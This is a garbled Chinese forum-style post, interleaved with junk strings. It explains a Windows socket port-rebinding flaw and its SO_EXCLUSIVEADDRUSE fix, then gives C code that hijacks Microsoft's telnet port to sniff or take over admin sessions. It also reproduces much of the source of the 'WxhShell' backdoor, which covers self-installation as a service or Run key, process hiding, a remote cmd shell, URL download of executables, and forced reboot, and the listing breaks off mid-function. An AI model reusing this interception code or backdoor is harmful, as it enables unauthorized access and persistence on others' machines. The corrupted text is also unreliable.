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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?5yj</W s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SFdSA4D" nL[zXl saddr.sin_family = AF_INET; W<"{d us,1:@a)a saddr.sin_addr.s_addr = htonl(INADDR_ANY); tm[e?+Iq 7vf?#^RlV bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b}OOG ~BJ~]~0P` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ['l.]k-b} acdWU"< 这意味着什么?意味着可以进行如下的攻击: [q5N 4&q\ *wOuw@09 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qp6*v& 83ajok4E 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =e>#oPH XA%a7Xtni 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iH#b"h{w 14,Pf`5Sz 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 'z}Hg
* aTx*6;-PH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :1O1I2L0 v1E=P7}\{s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 djxM/"xo |0jmOcZF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !^/Mn ZX
Sl+k. #include p>c` GDU #include 8!c#XMHV #include W6>SYa #include .;'3Roi DWORD WINAPI ClientThread(LPVOID lpParam); t=;84lA int main() X%>Sio { ~il{6Z+#n WORD wVersionRequested; 1p[Z`m*9 DWORD ret; dT9ekNQB WSADATA wsaData; xa?#wY
b BOOL val; }}VB# SOCKADDR_IN saddr; -#nfO*H}
SOCKADDR_IN scaddr; %%w/;o!c int err; jW G=k#WN SOCKET s; tKik)ei SOCKET sc; `S{Blv int caddsize; R1%2]? HANDLE mt; 22<T.c DWORD tid; u?>]C6$ wVersionRequested = MAKEWORD( 2, 2 ); vFL\O err = WSAStartup( wVersionRequested, &wsaData ); vj23j[!| if ( err != 0 ) { |4F3Gu printf("error!WSAStartup failed!\n"); dK=<%)N return -1; # XD-a } d5x>kO'[l saddr.sin_family = AF_INET; Du3nK"-g N2~q\BqA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /W6r{Et -p:X]Ov saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J} 03 5 saddr.sin_port = htons(23); RNJUA^{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0H6^2T< { 1{.=T&eG# printf("error!socket failed!\n"); mu1Lg s$; return -1; sZ,mRT } +foyPj!% val = TRUE; >+ZD 6l/ //SO_REUSEADDR选项就是可以实现端口重绑定的 _(q|W3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N1LZ XXY{ { ':v@Pr| printf("error!setsockopt failed!\n"); G\?q{ return -1; $6c8<!B_ } l]s,CX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^:0epj7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KvM}g2" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 INyakAmJ}- e (^\0 =u< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B>11 { +P&;cCV`S3 ret=GetLastError(); 'e3[m printf("error!bind failed!\n"); ?Q< o-o;B return -1; S&C } r="wd listen(s,2); gGiLw5o, while(1) l9J ]<gG { nj7wc9z4 caddsize = sizeof(scaddr); z'G~b[kG4n //接受连接请求 ^}-(8~_en sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {ER%r'(4Z if(sc!=INVALID_SOCKET) QX*HvT { =/k*w#j mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O!b > if(mt==NULL) COx<X\ { `dYM+ jpa printf("Thread Creat Failed!\n"); 88dq8T4 break; amL8yb } rSYzrVc } ?\QEK CloseHandle(mt); v;9VX
} V8z91 closesocket(s); S=^a''bg WSACleanup(); S)@95pb return 0; cNW [i" } P8JN
m"C DWORD WINAPI ClientThread(LPVOID lpParam) 0@9.h{s@ { FZM9aA SOCKET ss = (SOCKET)lpParam; 5"IbmD>D SOCKET sc; "G8w}n:y unsigned char buf[4096]; 8q6b3q:c SOCKADDR_IN saddr; 7kBULeBn| long num; ?U:LAub DWORD val; V01-n{~G DWORD ret; %}U-g"I //如果是隐藏端口应用的话,可以在此处加一些判断 x}.Q9L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 w,\#)<boyb saddr.sin_family = AF_INET; %5=XszS saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DcN s`2 saddr.sin_port = htons(23); G_wzUk=L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t}E1NXW { mW_<c,3D. printf("error!socket failed!\n"); /"t*gN=wrF return -1; x,\PV> } ^AWM/aY val = 100; GdqT4a\S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PNSZ
j# { -ISI!EU$ ret = GetLastError(); bF88F_ return -1; silTL_$ } xGQ958@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MorR&K { ^X%{]b K ret = GetLastError(); [~;#]az return -1; :@TfhQV_=Q } x}G["ZU}v] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zMT0ToG { &)Fp printf("error!socket connect failed!\n"); Oj#nF@U closesocket(sc); Z2Bl$ \ closesocket(ss); a.a5qwG return -1; ~M 6^% } _LV;q! /j while(1) =Tf
uwhV { af]&3(33 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ ~HV`s //如果是嗅探内容的话,可以再此处进行内容分析和记录 m8F-#?~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eUYd0L! num = recv(ss,buf,4096,0); xf8C$|, if(num>0) zof>S>5>R7 send(sc,buf,num,0); A f@IsCOJ else if(num==0) ]3_oT^$: break; )MFa~/x num = recv(sc,buf,4096,0); A L#"j62 if(num>0) <_@ S@t) send(ss,buf,num,0); FAVw80?5k else if(num==0) fbKL31PI break; FO{K=9O } f1;Pzr closesocket(ss); ,z1X{ closesocket(sc); @|xcrEnP}B return 0 ; O2E6F^.pYw } 8CxC`*L( I
U/HYBJH 1(`>9t02/? ========================================================== U:eahK dA[Z\ 下边附上一个代码,,WXhSHELL !GcH ) j_E$C.XU{g ========================================================== T<\Q4Coth >3
Q%Yn #include "stdafx.h" !Y3w]_x[: H4 }^6><V #include <stdio.h> Ij
hC@5qk #include <string.h> ~A+DH #include <windows.h> m!s/L,iJJ #include <winsock2.h> bWK}oYB* #include <winsvc.h> Pew-6u" #include <urlmon.h> !tGXh9g f)\ =LV #pragma comment (lib, "Ws2_32.lib") `Td 0R! #pragma comment (lib, "urlmon.lib") w%Tcx^: Wyf+xr'Ky #define MAX_USER 100 // 最大客户端连接数 |1H"ya #define BUF_SOCK 200 // sock buffer h_4o4# #define KEY_BUFF 255 // 输入 buffer 4,kT4_&, 08&DP^NS #define REBOOT 0 // 重启 N^A&DrMF #define SHUTDOWN 1 // 关机 )/h~csy:~ $D8eCjUm #define DEF_PORT 5000 // 监听端口 %ci/(wL @cNX\$J #define REG_LEN 16 // 注册表键长度 ]R/VE"- #define SVC_LEN 80 // NT服务名长度 `d,hP"jBc -"iGcVV // 从dll定义API ,Y
EB?HA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +2=N#LM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a!}.l< ) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~p{.4n2: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Q_'3}:4 zFh
JLH*C // wxhshell配置信息
:\1:n struct WSCFG { dI<s)! int ws_port; // 监听端口 f{[U->#^ char ws_passstr[REG_LEN]; // 口令 m98j`t int ws_autoins; // 安装标记, 1=yes 0=no c6cGl]FL char ws_regname[REG_LEN]; // 注册表键名 QT /TZ: char ws_svcname[REG_LEN]; // 服务名 ++-\^'&1 char ws_svcdisp[SVC_LEN]; // 服务显示名 4flyV - char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]?tsYXU j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <l(6$~(-u int ws_downexe; // 下载执行标记, 1=yes 0=no RuDn1h#u{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" .WA(X5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KFBo1^9N (Vglcj }; =jjUwcl ,p/iN9+Z // default Wxhshell configuration Esw#D90q struct WSCFG wscfg={DEF_PORT, w@7NoD= "xuhuanlingzhe", KK`P<^8J 1, Er?Wg 09 "Wxhshell", Bo8+uRF| "Wxhshell", L,0HX "WxhShell Service", hHF YAh "Wrsky Windows CmdShell Service", dhpEBJ "Please Input Your Password: ", SlI0p&2, 1, a9qB8/Gg[ " http://www.wrsky.com/wxhshell.exe", "BZ6G` "Wxhshell.exe" RG-pN() }; $QmP'
< S P)$K= // 消息定义模块 =1fO"|L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g<O*4
]= char *msg_ws_prompt="\n\r? for help\n\r#>"; -Y%#z'^- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; {XiBRs e char *msg_ws_ext="\n\rExit."; a?K= char *msg_ws_end="\n\rQuit."; )s(J8J[b*L char *msg_ws_boot="\n\rReboot..."; ,Khhu%$ char *msg_ws_poff="\n\rShutdown..."; vr2tIKvpn char *msg_ws_down="\n\rSave to "; 6,)!\1k +Ck F#H ~ char *msg_ws_err="\n\rErr!"; Qfr%BQV char *msg_ws_ok="\n\rOK!"; hN$6Kx>{ Mh>H5l.1i char ExeFile[MAX_PATH]; "40Jxqt int nUser = 0; .P.TqT@)r HANDLE handles[MAX_USER]; &bBK#d*-u? int OsIsNt; 7yxZe4~|# D`PnY&ffT SERVICE_STATUS serviceStatus; EAp6IhW{ SERVICE_STATUS_HANDLE hServiceStatusHandle; :\x53-&hO4 f
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// 函数声明 nk9Kq\2f: int Install(void); Ks:~Z9r} int Uninstall(void); >up'`K, int DownloadFile(char *sURL, SOCKET wsh); 1iEZ9J? int Boot(int flag); A"FlH:Pn void HideProc(void); #bgW{&_y int GetOsVer(void); 1$ez}k, int Wxhshell(SOCKET wsl); 48Y5ppcS void TalkWithClient(void *cs); DbFTNoVR int CmdShell(SOCKET sock); Z=n#XJO15 int StartFromService(void); 8=OK8UaU int StartWxhshell(LPSTR lpCmdLine); \^vf`-uG pUki!TA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [R-4e; SRh VOID WINAPI NTServiceHandler( DWORD fdwControl ); kVE%
" *IUw$|Z6z) // 数据结构和表定义 B)J.(k`p SERVICE_TABLE_ENTRY DispatchTable[] = )vO;=%GQ { cZT;VmC {wscfg.ws_svcname, NTServiceMain}, ZvEcExA- {NULL, NULL} P|YBCH }; #+p30?r0y Lzu;"#pw // 自我安装 I^sWf3'db int Install(void) YG$2ySkDhE { "&%:
9O char svExeFile[MAX_PATH]; 5*~Mv<# HKEY key; $8h^R# strcpy(svExeFile,ExeFile); }C.M4{a\ W@v@|D@ // 如果是win9x系统,修改注册表设为自启动 8WK%g0gm if(!OsIsNt) { WJCEiH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Z(fPKRN/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Fv=7~6~ RegCloseKey(key); bs$x%CR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jC>l<d_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oB;EP RegCloseKey(key); L{(\k$>' return 0; ^l;nBD#nJ } S]iMZ \I/ } \^2%v~
} YJ_`[LnL else { j|!.K|9B 4$J:A~2H] // 如果是NT以上系统,安装为系统服务 =A&x
d" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /WXy!W30< if (schSCManager!=0) j$<uE{c { rRyBGEj SC_HANDLE schService = CreateService 4&;.>{:; ( ;%P$q9*C schSCManager, +hL+3`TD#H wscfg.ws_svcname, "f\2/4EIl wscfg.ws_svcdisp, ei'=%r8~ SERVICE_ALL_ACCESS, (lF;c<69 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0 (jb19 SERVICE_AUTO_START, x;"! SERVICE_ERROR_NORMAL, ;mH1J'.(a svExeFile, z:<mgp&/< NULL, [q]"_4L0;d NULL, A,D67G<v` NULL, 6T{Zee NULL, Z#YkAQHv5 NULL ! )$
PD@ ); 6=o@X if (schService!=0) f)hs>F { (v(!l=3 CloseServiceHandle(schService); gv$6\1 CloseServiceHandle(schSCManager); V_jVVy30Ji strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MVHj? strcat(svExeFile,wscfg.ws_svcname); &RP!9{F< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <y1V2Np RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LcCb[r RegCloseKey(key); 4qo4g+ return 0; 9'F-D } 6dQa|ACX_ } 7qSlqA<Hs CloseServiceHandle(schSCManager); Dt?O_Bdv[ } 2xRb$QF } Okm&b g QA7SQcd, return 1; e&Z}struE } _KiaeVE P
lJl#-BO // 自我卸载 -\:#z4Tc int Uninstall(void) Q#xeu { 'SF+P)Kmz HKEY key; A3ad9?LR[R FSv')`} if(!OsIsNt) { 7cin?Z1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yZ3/Ia>, RegDeleteValue(key,wscfg.ws_regname); /=Bz[O RegCloseKey(key); ?Z%Ja_}8ma if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mMmzi4HL RegDeleteValue(key,wscfg.ws_regname); iJ_`ZM.w RegCloseKey(key); (;YO]U4 return 0; '8`{u[: } CBdSgHA3> } 7 y}b (q= } k+S+: 5 else { 2%\Nq:;T Jhu<^pjs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _l]`Og@Y if (schSCManager!=0) pj>b6^TI6C { 'Ht$LqG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dgPJte%i if (schService!=0) ]4SnOSV?S { e'aKI]>a if(DeleteService(schService)!=0) { :0>wm@qCQ CloseServiceHandle(schService); 4S|! iOY CloseServiceHandle(schSCManager); ])h={gI return 0; G?12?2 } pv039~Sud CloseServiceHandle(schService); G3&ES3L } EB jiSQw CloseServiceHandle(schSCManager); =BJ/ZM } )k0e} } 2pFOC;tl =Run return 1; ;SkC[;`J } ~(Gv/x U~Aw=h5SD // 从指定url下载文件 ^zkTV_,cRp int DownloadFile(char *sURL, SOCKET wsh) Rt~Aud[ { NWPL18*C HRESULT hr; 06*R)siC char seps[]= "/"; 2{c ;ELq char *token; +kTAOfM char *file; ,pir,Eozg char myURL[MAX_PATH]; .E!7}O6 char myFILE[MAX_PATH]; )a,-Hc:Vz jzV*V< strcpy(myURL,sURL); >U~.I2sz token=strtok(myURL,seps); "{;]T while(token!=NULL) "T5?<c { :/ns/~5xa: file=token; Ne*I$T 5 token=strtok(NULL,seps); =BY)>0?z } %Bmi3
=Rr :xZ/c\ GetCurrentDirectory(MAX_PATH,myFILE); -yfyd$5j strcat(myFILE, "\\"); w_G/[R3 strcat(myFILE, file); ,$5; send(wsh,myFILE,strlen(myFILE),0); @va{&i`%A7 send(wsh,"...",3,0); ZmO/6_nU? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?6Cbx6 if(hr==S_OK) uoFH{.) return 0; #/sKb2eQ else ba|x?kz return 1; )/2* <jr jo=XxA } y=YD4m2 W &Th/Qv}[ // 系统电源模块 &5/`6-K int Boot(int flag) !JUXq { $/,qw
HANDLE hToken; 3?Y%|ZVM TOKEN_PRIVILEGES tkp; (xK=/()}q rgILOtk[ if(OsIsNt) { * b>W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R?1;'pvpa[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X obiF tkp.PrivilegeCount = 1; Tz58@VY V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W-=~Afy AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^te9f%>$l if(flag==REBOOT) { m}6GVQ'Q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rS/Q return 0; }aXc,;Ps } hd9fD[5 else { AM##:4
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N-jFA8n return 0; TJ7on.; } lE08UEk1i } }txHuq1Q. else { 1Y@6oT if(flag==REBOOT) { gj\r>~S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;3Fgy8T return 0; eB/3MUz1 } VJD$nh
#M5 else { N::_JH?^= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `y0ZFh1>X return 0; 00?^!'; } t d q;D } IvetQ+ kJy<vb~
return 1; R`G%eG)+ } N<Rb<p%
/4RKA!W // win9x进程隐藏模块 n5 @H void HideProc(void) N4!YaQQ;} { 2uS&A
\ ujB:G0'r HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -`]B4Nt6 if ( hKernel != NULL ) ]jG%<j9A { W5$jIQ}Bw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z4}Yw{=f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $J[h(>-X FreeLibrary(hKernel); FOB9CsMe } 1>bkVA W>dS@;E return; 4a>z]&s } !OPK?7 _.J{U0N // 获取操作系统版本 ^w^cYM, int GetOsVer(void) W6&".2 { [:a;|t OSVERSIONINFO winfo; @`k!7?
Sq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ee9u7TFT GetVersionEx(&winfo); s?=f,I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NeCTEe|V return 1; #g4X`AHB else xex/L%!Rj return 0; 6;dB } gTW(2?xYf x_v pds // 客户端句柄模块 #$K\:V+ 4 int Wxhshell(SOCKET wsl) P`[6IS#\S { #1z}~1- SOCKET wsh; $]\N/}1v struct sockaddr_in client; ]5x N^7_!j DWORD myID; +;`Cm.Iu /QHvwaW[ while(nUser<MAX_USER) o&rejj# { }pPxN@X int nSize=sizeof(client); mY(~94{d wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PPDm*,T. if(wsh==INVALID_SOCKET) return 1; .pu]21m= `iv,aQ ' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $tj[* if(handles[nUser]==0) p8[Z/]p closesocket(wsh);
Rla1,{1 else >8 t3a-/ nUser++; DB:Ia5|*i } zjM+F{P8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O9p8x2 s~]Ri:7~ return 0; 8NPt[* } vhTte
|( ocAoqjlT[ // 关闭 socket d
'4c?vC void CloseIt(SOCKET wsh) a[xEN7L~4D { YX18!OhQ closesocket(wsh); z]=A3!H/Y nUser--; /0!6;PC< ExitThread(0); 50l=B]M } ~k+-))pf 6~&4>2b0f // 客户端请求句柄 `WC~cb\ void TalkWithClient(void *cs) 6jRF[N8 { xO'1|b^& /=lrdp!a SOCKET wsh=(SOCKET)cs; 3Q~ng2Wv% char pwd[SVC_LEN]; puL1A?Y8UM char cmd[KEY_BUFF]; |0B h char chr[1]; bf'@sh%W int i,j; /AjGj*O Q6RBZucv while (nUser < MAX_USER) { kE UfQLbn Goz9"yazg if(wscfg.ws_passstr) { #J, `a. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JdfjOlEb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 87>\wUJ //ZeroMemory(pwd,KEY_BUFF); K
S,X$)9 i=0; /(E)|*~6 while(i<SVC_LEN) { [jeZZB _E:]qv // 设置超时 . AWRe1? fd_set FdRead; v\c.xtjI5x struct timeval TimeOut; r_-iOxt~5 FD_ZERO(&FdRead);
xdXt FD_SET(wsh,&FdRead); ,l#V eC TimeOut.tv_sec=8; c+_F nA TimeOut.tv_usec=0; i=o<\{iV: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @PU%BKe if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xQm!
enO5XsIc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )`,3/i9C$ pwd =chr[0]; X[(u]h` if(chr[0]==0xd || chr[0]==0xa) { PE]jYyyHtU pwd=0; V!DQ_T+a break; Fj7cI + } |TkMrj0 i++; S)n~^q } My5h;N@C x!tCK47Yq // 如果是非法用户,关闭 socket [wjA8d. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L@ql)Lc); } s0E:hn: &xj?MgdNL send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZxwI< T:& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +'N?`l6< Z8 1]> while(1) { 4@4$kro :jT1=PfL ZeroMemory(cmd,KEY_BUFF); U9y[b82 L
V?- g // 自动支持客户端 telnet标准 DdN{=}A j=0; 0%cbno@1V while(j<KEY_BUFF) { <I&X[Sqp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Sh]m/WZd[ cmd[j]=chr[0]; [_^K}\/+ if(chr[0]==0xa || chr[0]==0xd) { ,~hvFTJI cmd[j]=0; &+xNR2"; break; p4fU/ } K!).QB'
j++; (VI4kRj } * A@~!@XE4 /Pxt f~$ // 下载文件 *=$Jv1"Q
+ if(strstr(cmd,"http://")) { bsmZR(EnU send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cz+`C9# if(DownloadFile(cmd,wsh)) X) owj7U; send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) 'j7Ra else pyq~_Bng send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cD YKvrPY } fx_7X15 else { VEkv
JX. G yvEc3|@ switch(cmd[0]) { 2!QJa= XPBKQm_} // 帮助 ?R(fxx case '?': { f0~<qT?:n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^|5vmI'E break; h
rW } f1rP+l-C< // 安装 QaH32(iH case 'i': { 5*/~) wN\U if(Install()) >OgA3)X send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ovxs+mQ else [1F.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k-Hy>5; break; Eh^c4x } `+CRUdr // 卸载 B36_OH case 'r': { NoB)tAvw if(Uninstall()) p`fUpARA! send(wsh,msg_ws_err,strlen(msg_ws_err),0); _K<H*R else 6U Q~Fv`] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c$Z3P%aP'V break; ve49m%NQ } J/mLmSx // 显示 wxhshell 所在路径 ?NOc]'<(G case 'p': { vO`~rUA char svExeFile[MAX_PATH]; F{WV}o=MY strcpy(svExeFile,"\n\r"); <wfPbzs-V strcat(svExeFile,ExeFile); l+HmG< P send(wsh,svExeFile,strlen(svExeFile),0); +DmfqKKbd break; w
&1_k:Z& } Y``50{7 // 重启 -GJ~xcf0 case 'b': { ~2PD%+e7] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s;Q0 if(Boot(REBOOT)) `|)V]< send(wsh,msg_ws_err,strlen(msg_ws_err),0); RZoSP(6 else { ^hr^f;N closesocket(wsh); XD%@Y~>+ ExitThread(0); mM0VUSy } -+?ZJ^A break; OyH>N/ } G8z.JX-7g // 关机 "m,)3zND3 case 'd': { R&KFF'% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
&OQ37(<_ if(Boot(SHUTDOWN)) _JNSl2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); s;e%*4 else { w%~UuJ#i closesocket(wsh); `k2YH? ExitThread(0); f8 E,.$> } iY?J3nxD-: break; f@yInIzRJ } WVyk?SBw // 获取shell VUnO&zV{ case 's': { kn<IWW_t CmdShell(wsh); o5LyBUJ closesocket(wsh); *lyy |3z ExitThread(0); (SGX|,5X7 break; 7IkNS } !xcLJ5^W // 退出 Oxsx\f_ case 'x': { RT`.S
uN send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D=1:-aLP7
CloseIt(wsh); ~/^q>z!\4 break; `&ufdn\j } uaghB,i'n // 离开 #djby}hi case 'q': { m&vuBb3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); RwKnNIp closesocket(wsh); >vQ8~*xd WSACleanup(); .JCd:'- exit(1); L7\V^f%yCm break; FxU a5n } Fi)(~ji: } RK)1@Tz7! } <ks+JkW_ Hq$&rNnq\ // 提示信息 {$qE>ic if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o-I:p$B - } 9Xl[AVs:M
} sE^ee2]OI@ N_wj,yF* return; HOt,G
_{ } Gb!R>WY 8ShIn@|32 // shell模块句柄 W {A4*{ int CmdShell(SOCKET sock) J4?i\wD: { Mh"X9-Ot STARTUPINFO si; 6mV-+CnYC ZeroMemory(&si,sizeof(si)); /U26IbJ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )iX2r{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U}T{r%9 PROCESS_INFORMATION ProcessInfo; moS0y?N char cmdline[]="cmd"; QjOO^6Fh CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tNoPpIu return 0; CiWz>HWH } S^s|/!> \uPyvA= // 自身启动模式 *Xcqnu(' int StartFromService(void) W6gI# { uM)#T*( typedef struct Znw3P|>B { 8+i=u"< DWORD ExitStatus; fHK.q({Qc DWORD PebBaseAddress; IJ]rVty DWORD AffinityMask; rMWJ DWORD BasePriority; .Ht;xq ULONG UniqueProcessId; }#r awVe= ULONG InheritedFromUniqueProcessId; ^XX_ qC'1 } PROCESS_BASIC_INFORMATION; :%_\!FvS Gsn$r(m{K PROCNTQSIP NtQueryInformationProcess; p<[MU4 t)|~8xpP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <@Z`<T6 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R1$s1@3I| E$.f AIt HANDLE hProcess; Upa F>,kM PROCESS_BASIC_INFORMATION pbi; QUeuN?3X\ .af+h<RG4$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZyM7)!+kPa if(NULL == hInst ) return 0; %rlMjF'tG (/7b8)g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hCBre5 g_pGetModuleBaseName = 